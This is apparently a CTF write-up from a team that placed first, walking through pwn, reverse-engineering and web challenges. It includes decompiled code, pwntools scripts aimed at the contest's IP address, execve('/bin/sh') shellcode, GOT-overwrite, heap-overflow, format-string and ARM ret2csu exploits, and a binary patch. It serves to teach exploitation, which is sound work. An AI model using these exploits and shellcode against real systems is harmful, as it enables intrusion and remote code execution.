Playing Hacks and Stuffs!
Hey guys, 0x1337 here! Over the weekend I participated in this CTF with team One Piece
We ended up placing first so GGs to my team mates and every one
I played as ptr
btw
I’m making this writeup because of the writeup contest lmao (i’m too tired to make it though)
Anyways I don’t plan on making the solutions to all the challenges I solved but rather Pwn, Rev and Web
I downloaded the attached file and checking the file type shows this
So we’re working with a 64bits executable which is dynamically linked and not stripped
From the protections shown by checksec
we can see just PIE and NX
enabled
Moving on, I ran the binary to get an overview of what it does
It seems to receive our input then the program stops!
Okay time to reverse it, throwing it into IDA i get the main function
The main function just calls the vulnerable
function, and here’s the decompilation
__int64 vulnerable()
{
__int64 result; // rax
_BYTE v1[60]; // [rsp+0h] [rbp-40h] BYREF
int v2; // [rsp+3Ch] [rbp-4h]
v2 = 12;
printf("Enter a text please: ");
result = __isoc99_scanf("%64s", v1);
if ( v2 == 0x34333231 )
return win();
return result;
}
Okay looking at the pseudocode, we can see that:
v1
that can hold up 60 bytes of datav2
is initialized to 12v1
it does a comparism that checks if v2
equals 0x34333231
Ok firstly the vulnerability is a 4 byte overflow and the reason is due to the program reading in at most 64 bytes into a buffer that can only hold up 60 bytes
Our goal is to overwrite the v2 variable to the expected value because that check can never pass since v2 is initialized as 12
Looking at the stack view of the function we get this
Basically after the buffer is the v2 variable, so this means if we fill up the buffer with 60 bytes the next 4 bytes will overwrite the check (v2) variable
So here’s our goal:
Doing that i get the flag and here’s my solve script
Flag: r00t{fl0w_0f_c0ntr0l_3ngag3d_7391}
I downloaded the attached file and checking the file type shows this
Pretty much same as before so i’m not repeating myself
I ran the binary to get an overview of what it does
Running it, we can see that it receives a number and a string before exiting
Loading it in IDA here’s the main function
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[16]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+10h] [rbp-10h]
unsigned int v6; // [rsp+1Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
printf("How much did you get? ");
fgets(s, 100, stdin);
v6 = atoi(s);
v5 = v6 + 1;
puts("Any last words?");
fgets(s, 100, stdin);
if ( v5 < v6 )
{
printf("What, How did you beat me?");
if ( v6 == 727 )
{
printf("Here is your flag: ");
flag_file = fopen("flag.txt", "r");
fgets(flag, 100, flag_file);
puts(flag);
}
else
{
puts("Just kidding!");
}
}
else
{
printf("Ha! I got %d\n", v5);
puts("Maybe you will beat me next time");
}
return 0;
}
Let’s understand what this does:
s
s
to an integer and stores the resulting int value into v6
v5
to the v6 + 1
s
v5
variable is less than v6
it will compare the v6 with 727 and it’s equal we get the flag else some error messageAt first it might look like we just need to set our first input to 727 such that when it’s converted we would pass the check
But that won’t work because if we do that then v5 is set to 727 + 1 = 728
and the check done on v5
to make sure it’s less than v6
won’t return true because at that point v5 > v6 thereby giving us the error message
Now what’s the bug? Well there’s a buffer overflow on both the first & second read
It defines a char buffer s
which can hold up at most 16
bytes of data, but during our read we actually fgets
at most 100
bytes into the s
buffer leading to an overflow
What can we do with this?
Our goal is obviously to pass the check because doing that would give us the flag
Here’s what i did
Notice how we have the overflow on our second read and basically at that point the v5 & v6 variables would already hold some value and there are going to be on the stack and we are still reading into the s
variable
Now take a look at the stack of the function
Basically we can groom the stack such that we leverage the overflow and set those varaibles to any value we want
This is how my payload looks like:
Doing that should give us the flag and here’s my solve script
Flag: r00t{n0th1ng_t0_h1d3_wh3n_th3_fl0w_1s_nihil_9027}
Okay same process as always :)
This time around we are actually given the libc, linker and Dockerfile
Just to be on a safe side I always patch the binary to use the libc given with pwninit that’s to make sure it uses the same libc as the one being used on the remote instance
pwninit --bin challenge --libc libc.so.6 --ld ld-linux-x86-64.so.2 --no-template
Back to the protections from the result of running checksec we can see that only NX is enabled
Moving on I ran the binary to get an overview of what it does
Well well, there are so many options
We can try play around but I just decided to reverse it
Throwing it in IDA we get the main function
int __fastcall main(int argc, const char **argv, const char **envp)
{
init();
while ( 1 )
{
menu();
switch ( (unsigned int)get_choice(14LL) )
{
case 1u:
eat_breakfast();
case 2u:
brush_my_teeth();
break;
case 3u:
tweet_inject();
break;
case 4u:
meditate();
break;
case 5u:
free_palestine();
break;
case 6u:
podcast_time();
break;
case 7u:
play_warzone();
break;
case 8u:
pet_the_cat();
break;
case 9u:
take_a_shower();
break;
case 0xAu:
make_the_bed();
break;
case 0xBu:
watch_youtube_videos();
break;
case 0xCu:
play_guitar();
break;
case 0xDu:
read_notes();
break;
case 0xEu:
take_notes();
break;
default:
continue;
}
}
}
First it calls the init
function which disables buffering on stdin & stdout
In a while loop it calls the menu
function which basically prints out the menu available
Next it calls the get_choice
function passing 14
as the parameter
So what this function does is to basically read in an integer and make sure that it’s within the available function based on the switch cases (making sure it’s greater than 0 and less than or equal to 14)
This is what the read_int
function does
Basically it reads in our input which is the choice we want from the menu then it null terminates it and converts it to a long int
Based on the choice provided it switches to the cases
Most of the functions there based on the case are not useful so i’ll show some relevant ones
Case 1:
s
which is a buffer that can hold up 256 bytesprint_message()
on s
Case 3:
injection_size
and stores the memory address in variable s
s
of at most 7 bytes (injection_size = 7)system
on the value stored in the addressOk this looks good basically it would read our input let’s say we give it: abcd
then the final command passed into system
is unset PATH; echo "abcd"
Since we can control what to echo we can do a command injection but take into consideration that the environment variable PATH is unset so we have to fully specify the full path to the executable we want to run or set the PATH variable again
But thinking of that we can’t pretty much do that for now because our input length is limited to just 7 bytes and that’s not enough to apply what we want
Keep in mind that the size to be allocated with malloc is also used as the size when reading input into the allocated memory, and this size is actually a global variable
Case 12:
s
Basically this function is used for reading a file
At this point you might be like why not just read the flag?
That would work! (I didn’t even notice this during the ctf i used another way 😄)
But notice that if you tried communicate with the program and read a file via terminal it won’t work
This is because a newline is sent with our filename and fgets()
would read it therefore open
would also attempt reading the filename which is already appended with a newline which is going to return -1 because such file doesn’t exist
To fix this you need to add a null byte at the end of the filename because fgets stops at a null byte
This is how you’d do it in pwntools
from pwn import *
io = remote("94.72.112.248", "5050")
io.sendlineafter(b">", b"12")
io.sendline(b"flag.txt\x00")
io.interactive()
Doing that works!
But now that wasn’t how i solved it (i just even found that now while making the writeup)
So let’s continue looking through the important functions
Case 14:
read_int()
and assigns the returned value to the variable v1
.read_int()
a second time and assigns the returned value to the array pretty_large_array
at the index specified by v1
.The read_int()
basically is used to convert a string to a long int
The caveat is that it doesn’t explicitly define v1 as an unsigned long int, meaning we can set v1 to a negative value, thereby causing an out-of-bounds write
Now we have a primitive that can let us make OOB write what next?
At this point during the time I was solving it i immediately decided to target the global offset table because it was writable since RELRO was disabled
To calculate the offset from the pretty_large_array
global variable to any of our specified got address we simple subtract it
(got_addr - pretty_large_array) // 8 (diving by 8 because of the way it accesses the array -> does it based on the size which is 8 bytes)
Next thing is what got address should we overwrite and what should we overwrite it to?
My main goal was spawning a shell:
system("/bin/sh")
So I need a function such that when called it uses our user control input as the first parameter
Looking through I found a perfect function strcspn
which is only used in read_int
So after the call to fgets
our input would be stored in s
, then strcspn
is used to null terminate our input, and as we can see our input variable is passed as the first parameter
If we overwrite that to system rather than it calling strcspn
it would do system
With that as our goal here’s my exploit script
Running it works
Another way of solving this rather than a GOT overwrite is to overwrite the injection_size
to a large value such that we would be able to break out of the quote
do a command injection to directly call /bin/sh
Flag: r00t{At_th4t_r4t3_Y0u_mu5t_b3_5t4lk1n9_m3_3ac1294}
Usual file type & protection check process
Nothing out of the ordinary
Running it we get this
Seems we have 4 options to choose from
Loading it in IDA here’s the main function
int __fastcall main(int argc, const char **argv, const char **envp)
{
char *v3; // rdi
int v5; // [rsp+18h] [rbp-128h] BYREF
int v6; // [rsp+1Ch] [rbp-124h]
char *dest; // [rsp+20h] [rbp-120h]
void *ptr; // [rsp+28h] [rbp-118h]
char s[264]; // [rsp+30h] [rbp-110h] BYREF
unsigned __int64 v10; // [rsp+138h] [rbp-8h]
v10 = __readfsqword(0x28u);
setup();
dest = malloc(0x40uLL);
ptr = malloc(8uLL);
*ptr = darthVader;
v6 = 1;
while ( v6 )
{
puts("====== Jedi Training Menu ======");
puts("1. Enter your Jedi code");
puts("2. Jedi data");
puts("3. Jedi next bounty");
puts("4. Exit");
printf("Enter your choice: ");
if ( __isoc99_scanf("%d", &v5) != 1 )
{
puts("Invalid input! Please enter a number.");
while ( getchar() != 10 )
;
}
if ( v5 == 4 )
{
puts("Exiting the program. May the Force be with you!");
v6 = 0;
}
else
{
if ( v5 > 4 )
goto LABEL_17;
switch ( v5 )
{
case 3:
printf("Jedi bounty: %p\n", ptr);
break;
case 1:
printf("Enter your Jedi code: ");
getchar();
if ( !fgets(s, 256, stdin) )
{
perror("Error reading input");
exit(1);
}
v3 = dest;
strcpy(dest, s);
(*ptr)(v3);
puts("Jedi code saved.");
break;
case 2:
printf("Jedi data: %p\n", dest);
break;
default:
LABEL_17:
puts("Invalid choice! Please select a valid option.");
break;
}
}
}
free(dest);
free(ptr);
return 0;
}
So let’s understand what it does:
malloc
0x40
0x8
and it sets the value at that address to the function address of darthVader
Choice 4:
free
Choice 3:
ptr
Choice 2:
dest
Choice 1:
s
which can hold up to 264 bytes ( so no overflow here)s
into the heap chunk dest
ptr
passing the address of dest
as parameterFrom this the bug is a heap overflow and the reason is because during the allocation it specifies that it wants 64
bytes of data but during the part where it moves our input value from the stack to the heap is makes use of strcpy
which is a vulnerable function because it doesn’t check the size of src which is been moved to dest
What now?
Well since we know that the value stored in ptr is a function pointer and it’s going to be executed after the strcpy we can use the heap overflow to overwrite the function pointer to any value
But what value should we overwrite it to?
Looking through the available functions i saw a win function called theForce
So we just overwrite the function pointer on the heap to that and profit!
To calculate the offset needed to reach the pointer i did it dynamically
We can see our input starts at: 0x4052a0 and the function pointer is at: 0x4052f0
So we just subtract it: = 0x4052f0 - 0x4052a0 = 80 = 80 - 8 = 72
Now we just pad with 72 bytes chunk then the next 8 bytes is the function pointer which we would overwrite
Here’s my solve script
Flag: r00t{h34p_0v3rfl0w_1n_th3_f0rc3_1ebfe9e04a01ac4b00d4bd194b1bd505}
Checking the file type shows this
Ok this time around we see that all protections are enabled
Since the libc, linker and Dockerfile was provided I patched the binary to use the same libc provided, but later on i figured it wasn’t using the right libc as the remote instance for some reason which lead me to build a docker container with the Dockefile and i extracted the libc from there which worked.
Running it to get an overview of what it does shows this
It seems to receive our input twice and prints it out before the program returns
Loading it up in IDA here’s the main function
int __fastcall main(int argc, const char **argv, const char **envp)
{
Dance *ptr1; // [rsp+8h] [rbp-18h]
Dance *ptr2; // [rsp+10h] [rbp-10h]
ptr1 = dance(select_tune);
printf("Default tune : ");
printf(ptr1->name, argv);
printf("Tune: ");
(ptr1->func)(ptr1);
putchar(10);
ptr2 = dance(select_style);
printf("Style: ");
(ptr2->func)(ptr2);
printf("And so, the dance stops.");
free(ptr1);
free(ptr2);
return 0;
}
Note that I already had to create a struct to make it more readable, here’s my struct definition
struct Dance {
char name[32];
long *func;
};
Now let us understand what it does:
select_tune
Dance *__fastcall dance(__int64 *func)
{
Dance *chunk; // [rsp+10h] [rbp-10h]
chunk = malloc(40uLL);
mprotect((chunk & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
chunk->func = func;
fgets(chunk->name, 48, _bss_start);
return chunk;
}
chunk
chunk->func
to the address of select_tune
which was the parameter passed into itchunk->name
Back to the main function
ptr1
ptr1->name
ptr1->func
passing ptr1
as the parameterNow what’s the vulnerability?
Well there are two vulnerabilities:
The heap overflow exists because we are reading at most 48 bytes into chunk->name
which can only hold up 32 bytes of data
While the format string bug is because it prints the content of chunk->name
without using a format specifier
Ok what now?
Our goal is to get code execution and how i went about it was using the format string bug (fsb) to leak pointers to the libc region which enabled me to calculate the libc base address hence letting me know where system
resides in libc
Next i used the heap overflow to modify the function pointer of the second chunk to be allocated to that of system
such that when the function pointer is about to be executed it would rather call system
rather than select_tune
To leak libc, I set a breakpoint at main+78
, which is just before the program calls printf(ptr1->name)
. This allows me to inspect the stack for libc pointers.
Offset 11 holds a libc address and we can confirm by checking the memory region that address resides in
Now to calculate the base of libc we need to get the offset from our leak to the libc base which we can easily do by subtracting it
x/gx 0x7f467b42a1ca-0x7f467b400000 = 0x2a1ca
This means that whenever we leak the pointer at stack offset 11 we would get a libc address then when we subtract it with 0x2a1ca
we’d get the libc base
Ok now what? we now need to set chunk->func
to system
by filling up chunk->name[32]
and the next 8 bytes will be chunk->func
Now when the function pointer is about to be executed it would do ptr2->func()(ptr2)
so at this point ptr2->func
would be system
but we need ptr2
to be /bin/sh
To do that we just set the first 8 bytes to be /bin/sh\x00
then is effectively does: system("/bin/sh")
Doing that works, here’s my solve script
Flag: r00t{M4yb3_50m3t1m35_th3y_d0_l13_3e50dde}
But now the way i initially tried solving this was by shellcode injection which worked locally but for some reason when the binary is executed using socat
it just doesn’t work
Anyways this is how i did it:
ptr2->func
to the heap address of ptr2
, but i didn’t fill ptr2->name[32]
with junk but rather my shellcodeptr2->func
which now points to ptr2
which basically contains our shellcodeThis is the solve here:
def solve():
io.sendline(b"%7$p.%11$p.%15$p")
io.recvuntil(b"tune : ")
addr = io.recvline().split(b".")
heap_leak = int(addr[0], 16)
libc.address = int(addr[1], 16) - 0x2a1ca
exe.address = int(addr[2].strip(), 16) - 0x1332
buf = heap_leak + 0x1450
info("libc base: %#x", libc.address)
info("elf base: %#x", exe.address)
info("heap buf: %#x", buf)
sc = asm("""
xor eax, eax
mov al, 0x3b
lea rdi, [rip+sh]
xor esi, esi
xor edx, edx
syscall
sh:
.ascii "/bin/sh"
.byte 0
""")
payload = sc.ljust(0x20, asm("nop")) + p64(buf)
io.sendline(payload)
io.interactive()
Checking the file type and protections shows this
Running it to get an overview of what it does shows this
We have 7 options to choose from and on choosing option 7 the program crashes
Loading it in IDA shows this
int __fastcall main(int argc, const char **argv, const char **envp)
{
void (*shellcode)(void); // rax
__int64 v5; // rbx
__int64 v6; // rbx
__int64 v7; // rbx
__int64 v8; // rbx
__int64 v9; // rbx
__int64 v10; // rbx
__int64 v11; // rbx
__int64 v12; // rbx
__int64 v13; // rbx
__int64 v14; // rbx
__int64 v15; // rbx
__int64 v16; // rbx
__int64 v17; // rbx
__int64 v18; // rbx
__int64 v19; // rbx
__int64 v20; // rbx
char s[128]; // [rsp+20h] [rbp-A0h] BYREF
void (*sc)(void); // [rsp+A0h] [rbp-20h]
int choice; // [rsp+A8h] [rbp-18h]
int idx; // [rsp+ACh] [rbp-14h]
init();
puts("Welcome aboard Captain, please help us steer this ship!\n");
idx = 0;
while ( 1 )
{
puts("What should we do?");
puts("1) Steer to the left");
puts("2) Steer to the right");
puts("3) Hoist the sails!");
puts("4) Full speed ahead!");
puts("5) Secure the lines.");
puts("6) Anchor down!");
puts("7) Throw the lines!");
if ( !fgets(s, 128, stdin) )
return 0;
choice = atoi(s);
switch ( choice )
{
case 1:
if ( --idx < 0 )
idx = 0;
break;
case 2:
if ( ++idx > 0xFF )
idx = 0;
break;
case 3:
steer[idx] += 22;
break;
case 4:
steer[idx] += 100;
break;
case 5:
steer[idx] += 15;
break;
case 6:
steer[idx] -= 9;
break;
case 7:
puts("OK, let's dock this ship!");
shellcode = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
v22 = shellcode;
v5 = qword_4048;
*shellcode = *steer;
*(shellcode + 1) = v5;
v6 = qword_4058;
*(shellcode + 2) = qword_4050;
*(shellcode + 3) = v6;
v7 = qword_4068;
*(shellcode + 4) = qword_4060;
*(shellcode + 5) = v7;
v8 = qword_4078;
*(shellcode + 6) = qword_4070;
*(shellcode + 7) = v8;
v9 = qword_4088;
*(shellcode + 8) = qword_4080;
*(shellcode + 9) = v9;
v10 = qword_4098;
*(shellcode + 10) = qword_4090;
*(shellcode + 11) = v10;
v11 = qword_40A8;
*(shellcode + 12) = qword_40A0;
*(shellcode + 13) = v11;
v12 = qword_40B8;
*(shellcode + 14) = qword_40B0;
*(shellcode + 15) = v12;
v13 = qword_40C8;
*(shellcode + 16) = qword_40C0;
*(shellcode + 17) = v13;
v14 = qword_40D8;
*(shellcode + 18) = qword_40D0;
*(shellcode + 19) = v14;
v15 = qword_40E8;
*(shellcode + 20) = qword_40E0;
*(shellcode + 21) = v15;
v16 = qword_40F8;
*(shellcode + 22) = qword_40F0;
*(shellcode + 23) = v16;
v17 = qword_4108;
*(shellcode + 24) = qword_4100;
*(shellcode + 25) = v17;
v18 = qword_4118;
*(shellcode + 26) = qword_4110;
*(shellcode + 27) = v18;
v19 = qword_4128;
*(shellcode + 28) = qword_4120;
*(shellcode + 29) = v19;
v20 = qword_4138;
*(shellcode + 30) = qword_4130;
*(shellcode + 31) = v20;
sc();
break;
default:
continue;
}
}
}
Yikes! Anyways let us understand what it does:
init
function which disables buffering on stdin & stdout
idx
variable to 0
In a while loop it does this:
steer
specified at idx
by 22steer
specified at idx
by 100steer
specified at idx
by 15steer
specified at idx
by 9steer
into the new memory allocated and executes the content in itOk great, this is a shellcoding challenge but with a twist
The twist is that we can’t directly set the value at steer[idx]
to the byte we want
But notice that we can control the index by using option 1 or 2 and that even if we can’t directly control the byte at that index we can make use of option 3 to 6 to set it to what we want
Now here’s where things began to get tough
Our goal is obvious, fill up steer
with our shellcode and execute it with option 7
But since we can’t just set the byte directly we need to make use of:
I spent a lot of time trying to write an algorithm that generates all valid numbers to set the byte to our desired value but i failed awfully
Next i wrote a mathematical representation which represents the way we’d set our byte:
22a + 100b + 15c + (256 - 9)d = value % 256
I tried use:
But sadly i failed at that
After some while i remembered Z3 which is an SAT Solver
Using that worked perfectly
def create(val):
s = Solver()
a = BitVec("a", 8)
b = BitVec("b", 8)
c = BitVec("c", 8)
d = BitVec("d", 8)
s.add((a * 0x16) + (b * 0x64) + (c * 0xF) + (d * (0x100 - 9)) == val)
if s.check() == sat:
m = s.model()
a = m[a].as_long()
b = m[b].as_long()
c = m[c].as_long()
d = m[d].as_long()
return [a, b, c, d]
Now we can easily write our shellcode byte to the steer array
Doing that works and here’s my solve script
def solve():
sh = asm("""
execve:
lea rdi, [rip+sh]
xor esi, esi
xor edx, edx
xor eax, eax
mov al, 0x3b
syscall
sh:
.ascii "/bin/sh"
.byte 0
""")
sc = asm("""
mov rsi, rdx
add rsi, 0x50
mov rdx, 0x100
syscall
call rsi
""")
for byte in sc:
a, b, c, d = create(byte)
for _ in range(a):
io.recvuntil(b"lines!")
io.sendline(b"3")
for _ in range(b):
io.recvuntil(b"lines!")
io.sendline(b"4")
for _ in range(c):
io.recvuntil(b"lines!")
io.sendline(b"5")
for _ in range(d):
io.recvuntil(b"lines!")
io.sendline(b"6")
io.recvuntil(b"lines!")
io.sendline(b"2")
io.sendline(b"7")
io.sendline(sh)
It also works remotely but the thing is that it takes time
For me during the time i solved it, it took about 30minutes and one condition causing that is likely network latency, nevertheless i got the flag
I enjoyed this challenge because this is my first arm rop and it took me quite a while
Checking the file type and protection shows this
We are working with a 32 bit arm executable which is dynamically linked and not stripped
We can also see that no protection is enabled!
If you try to execute it, you’ll probably get an error because you can’t run an ARM executable on an Intel processor
So we need an environment that would enable us to execute and debug it
For me i went with emulating using qemu you can find more here
- sudo apt install gcc-arm-linux-gnueabihf binutils-arm-linux-gnueabihf binutils-arm-linux-gnueabihf-dbg
- sudo apt install gdb-multiarch qemu-user
For the gdb debugging i used gef
Now let’s get to it
Running the binary to get an overview of what it does shows this
Okay nothing much, loading it up in IDA shows this
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // r3
char s[64]; // [sp+Ch] [bp-48h] BYREF
int v6; // [sp+4Ch] [bp-8h]
v6 = 0;
gets(s);
if ( v6 )
puts("you have changed the 'modified' variable");
else
puts("Try again?");
return v3;
}
So it receives our input, checks if the integer variable has been overwritten and then prints a message regarding that
Okay nothing much here and the vulnerability is obvious, we have a buffer overflow because it uses gets()
if you wanna know why it’s that check the man page of gets
at the BUG
section
What now?
I looked at the available functions and saw this
So there’s no easy win function for us to jump to 😢
This means we need to ROP
There are two ways i actually attempted to solve this:
Now how do we ROP?
I am familiar with x86_64 rop but not ARM so i did a little bit of research on ARM assembly because rop is pretty much chaining instructions present in the binary to perform stuffs like spawnning shell etc.
Using this arm assembly tutorial by Azeria i learnt some few things which i needed to solve the challenge
The first thing we need to know is the set of registers present in an ARM processor
Now some quick idea on the instruction set
Ok good now time to look for rop gadgets
I wasn’t able to get any using ropper but ROPgadget worked fine
So our goal is to call system('/bin/sh')
so first let us determine the offset needed to overwrite the pc
register
This is how i did it, first i setup gdb server using qemu
qemu-arm -g 5000 ./arm_and_a_leg
Next :
gdb-multiarch
on the binary arm_and_a_leg
Here’s the command:
- gdb-multiarch arm_and_a_leg
- pattern create 200
- target remote :5000
- continue
This is how it is after doing that
We can see that the $pc
register holds 0x61616172
, now we can just get the offset of that
Later on i figured we needed to add 4 more bytes which makes our offset 72, i really don’t know the reason why it’s that way 😅
So what now? first we need to leak libc because system wasn’t resolved in the binary and because the system function resides in libc we need to get the libc base
How do we achieve that? Well we can leak it by calling puts@plt(puts@got)
thereby leaking the value stored in the got of puts which points to the puts function in libc
To do that we need to control r0
which is the first parameter, after looking through the gadgets shown by ROPgadget i really couldn’t find any one that would work so what now
Luckily i did info func
and saw this
We can see that it has a __libc_csu_init
function and from my knowledge on 64 bits rop i knew that this could be used to control the rdi, rsi, rdx registers if there’s no gadget to control it using a technique known as ret2csu
So i just researched on arm ret2csu and found this really helpful blog
My solution is pretty much based on that as it enabled me to control the r0 register and thereby leaking libc
From there it was pretty much straight forward this is how it goes:
Doing that works!
Flag: r00t{It_4lw4y5_c05t5_4n_4rm_4nd_4_l39_245ef81}
We are given this binary and the supposedly encrypted flag
First thing i did was to check what language it’s written in using DiE
Compiled with GCC and it was written in either C or C++
Running it shows this
Seems it recevies our input then generates some number based on that input
Loading it up in IDA here’s the main function
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-74h]
_BYTE v5[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v6; // [rsp+78h] [rbp-8h]
v6 = __readfsqword(0x28u);
printf("Enter a string: ");
__isoc99_scanf("%99s", v5);
for ( i = 0; v5[i]; ++i )
{
generate_character((char)v5[i]);
printf("%lu \n", glob_canary);
}
putchar(10);
return 0;
}
So it’s just like we assumed, it takes in a string and for each character in that string it generates a certain number
Let us take a look at the generate_character
function
__int64 __fastcall generate_character(unsigned __int64 a1)
{
__int64 v1; // rax
__int64 result; // rax
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
if ( !a1 )
{
puts("Invalid entry. Exiting");
exit(-1);
}
v3 = 8 * ((16 * (a1 >> 5) * ((a1 >> 5) ^ (8 * a1)) + (a1 >> 5)) >> 2);
v1 = 2 * (v3 ^ (4 * (a1 >> 5) * ((a1 >> 5) ^ (8 * a1)) - (unsigned __int16)(a1 >> 5)))
+ (unsigned __int16)(v3 ^ (16 * (a1 >> 5) * ((a1 >> 5) ^ (8 * a1)) + (a1 >> 5)));
result = v1 * v1;
glob_canary = result;
return result;
}
Ok cool it seems to just do some math operations on the character provided and the result is then returned
The best way to solve this is via brute force since no sane person would want to reverse that operation if it’s possible
There are probably multiple ways to go about it
First we can perform a brute force using the binary as the oracle or just reimplement that function and brute force
Here’s what i mean for the first choice
We can basically tell the program to check if the value it generated equals the expected value and if it is then that means the character we gave in is a valid flag character
But that’s just stressful so here’s a more easier approach:
Here’s my solve script
import string
from pwn import *
import ast
charset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "{}_"
enc_str = open("flag.txt").read().split()
enc = [int(item) for item in enc_str]
flag = ""
io = process("./re-incarnation")
io.sendline(charset.encode())
io.recvuntil(b": ")
r = io.recvall().splitlines()
io.close()
numbers = [int(item.strip()) for item in r if item != b""]
mapping = {num: char for char, num in zip(charset, numbers)}
flag = ""
for val in enc:
flag += mapping[val]
print(flag)
Running it gives the flag
Flag: r00t{Pl3453_73ll_m3_y0u_d1d_n07_bru73f0rc3_288a858f9}
Hmm the description says this isn’t a C binary so we can guess it’s a Golang binary from the challenge name
Anyways checking the file with Detect It Easy shows this
As we expected this is a Golang binary
Running it shows this
It just seems to do nothing
If we monitor the system calls with strace we’d see it really does nothing but just exits
Loading it up in IDA shows this luckily debug_info was enabled and here’s the main function
We can see that before it calls the printFlag
function it would exit as shown from the result of strace
Meaning we need to call that function but what’s a more easier way?
Well we can just patch the call to os_Exit
How i patched it was by clicking on the instruction then checking the hex view and modifying the bytecode to nops
Let us save the applied patch and we can do this by checking Edit -> Patch Program -> Apply changes to input file
Doing that we can then get the flag by simply running the binary
The printFlag
function itself does a simple xor operation on an integer array so you can as just reimplement it
// main.printFlag
// local variable allocation has failed, the output may be wrong!
void __golang main_printFlag()
{
__int64 v0; // rcx OVERLAPPED
__int64 v1; // rdi OVERLAPPED
int v2; // r8
error_0 v3; // r9
__int128 v4; // xmm15
__int64 i; // rax
void *v6; // rcx
__int64 v7; // rsi
_slice_interface__0 *p_a; // rcx
int v9; // r8
__int64 v10; // [rsp+0h] [rbp-110h]
_QWORD v11[30]; // [rsp+8h] [rbp-108h]
_slice_interface__0 a; // [rsp+F8h] [rbp-18h] BYREF
error_0 v13; // 0:r9.16
string_0 v14; // 0:rax.8,8:rbx.8
io_Writer_0 v15; // 0:rax.8,8:rbx.8
_slice_interface__0 v16; // 0:rcx.8,8:rdi.16
v11[0] = 122LL;
v11[1] = 56LL;
v11[2] = 56LL;
v11[3] = 124LL;
v11[4] = 115LL;
v11[5] = 125LL;
v11[6] = 111LL;
v11[7] = 125LL;
v11[8] = 102LL;
v11[9] = 124LL;
v11[10] = 125LL;
v11[11] = 87LL;
v11[12] = 111LL;
v11[13] = 56LL;
v11[14] = 97LL;
v11[15] = 102LL;
v11[16] = 111LL;
v11[17] = 87LL;
v11[18] = 124LL;
v11[19] = 56LL;
v11[20] = 87LL;
v11[21] = 124LL;
v11[22] = 96LL;
v11[23] = 109LL;
v11[24] = 87LL;
v11[25] = 122LL;
v11[26] = 56LL;
v11[27] = 56LL;
v11[28] = 124LL;
v11[29] = 117LL;
for ( i = 0LL; i < 30; i = v10 + 1 )
{
v10 = i;
*(_OWORD *)&a.array = v4;
v14.len = v11[i] ^ 8LL;
runtime_intstring(0LL, v14.len, *(string_0 *)&v0);
runtime_convTstring(v14, v6);
a.array = (interface__0 *)&RTYPE_string;
a.len = (int)v14.str;
v14.len = (int)os_Stdout;
v14.str = (uint8 *)&go_itab__ptr_os_File_comma_io_Writer;
v1 = 1LL;
v7 = 1LL;
p_a = &a;
fmt_Fprint((io_Writer_0)v14, *(_slice_interface__0 *)(&v1 - 1), v9, v13);
}
v15.data = os_Stdout;
v15.tab = (internal_abi_ITab *)&go_itab__ptr_os_File_comma_io_Writer;
v16.array = 0LL;
*(_OWORD *)&v16.len = 0uLL;
fmt_Fprintln(v15, v16, v2, v3);
}
An alternative solve
from pwn import xor
v11 = bytearray(30)
v11[0] = 122;
v11[1] = 56;
v11[2] = 56;
v11[3] = 124;
v11[4] = 115;
v11[5] = 125;
v11[6] = 111;
v11[7] = 125;
v11[8] = 102;
v11[9] = 124;
v11[10] = 125;
v11[11] = 87;
v11[12] = 111;
v11[13] = 56;
v11[14] = 97;
v11[15] = 102;
v11[16] = 111;
v11[17] = 87;
v11[18] = 124;
v11[19] = 56;
v11[20] = 87;
v11[21] = 124;
v11[22] = 96;
v11[23] = 109;
v11[24] = 87;
v11[25] = 122;
v11[26] = 56;
v11[27] = 56;
v11[28] = 124;
v11[29] = 117;
key = 8
print(xor(v11, key))
Running it gives the flag
Flag: r00t{uguntu_g0ing_t0_the_r00t}
We are given a web url and a binary hmmm
Let us check it out, from the file type details we can tell this is another Goland compiled binary
Running it shows this
First thing that caught my attention is the debug log
I looked it up: GIN-debug
and got this
So it’s a HTTP web framework written in Go
Just incase i’ll let you know i don’t know Go language so i won’t go deep in explaining things because i myself don’t understand much
Anyways we can see that it defined some routes and it’s handles
[GIN-debug] GET / --> main.indexHandler (3 handlers)
[GIN-debug] GET /Z2V0RmxhZwo= --> main.getFlagHandler (3 handlers)
[GIN-debug] POST /Z2V0RmxhZwo= --> main.getFlagHandler (3 handlers)
[GIN-debug] GET /aGVsbG9Xb3JsZAo= --> main.helloWorldHandler (3 handlers)
[GIN-debug] GET /c2F5bmFtZQo= --> main.sayNameHandler (3 handlers)
[GIN-debug] POST /c2F5bmFtZQo= --> main.sayNameHandler (3 handlers)
[GIN-debug] GET /YWJvdXQK --> main.aboutHandler (3 handlers)
Based on those routes it would call the handler
Our interest if obviously main.getFlagHandler
But let us just get an overview of the various result from accessing the routes
Index handler:
GetFlag handler:
HelloWorld handler:
About handler:
SayName handler:
Opening the binary in IDA we can see the list of functions defined in main and they all correspond to the handlers
Our interest is that of main.getFlagHandler
Here’s the pseudocode
Now as you may have noticed it’s not exactly nice in the eye but it’s way more better than looking at a stripped version with no debug info
So i’ll just go through it briefly:
POST
and if that’s not the case it goes to LABEL_5
which is the part that prints the fake flagmemequal
call that compares our json data value with some hardcoded one, if it’s equal it opens up the flag and prints it outMore of how i figured that was gotten via debugging which i don’t want to show here because it’s tedious
In anycase we know that it:
Now we need to figure the expected json key and value
Looking at the comparism portion in the disassembly i got this
So it’s clear that our expected value should be r00t{LITERALLY_FAKE_FLAG}
To get the expected key i saw it was loading &byte_888503
and on clicking it i got this
This looks very much like a character array so i converted it to string and got this
It seems to merge all strings together but nevertheless we now know the expected key which is secret_key
To solve we just make the expected post request and doing that i got the flag
POST /Z2V0RmxhZwo= HTTP/1.1
Host: 94.72.112.248:61337
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
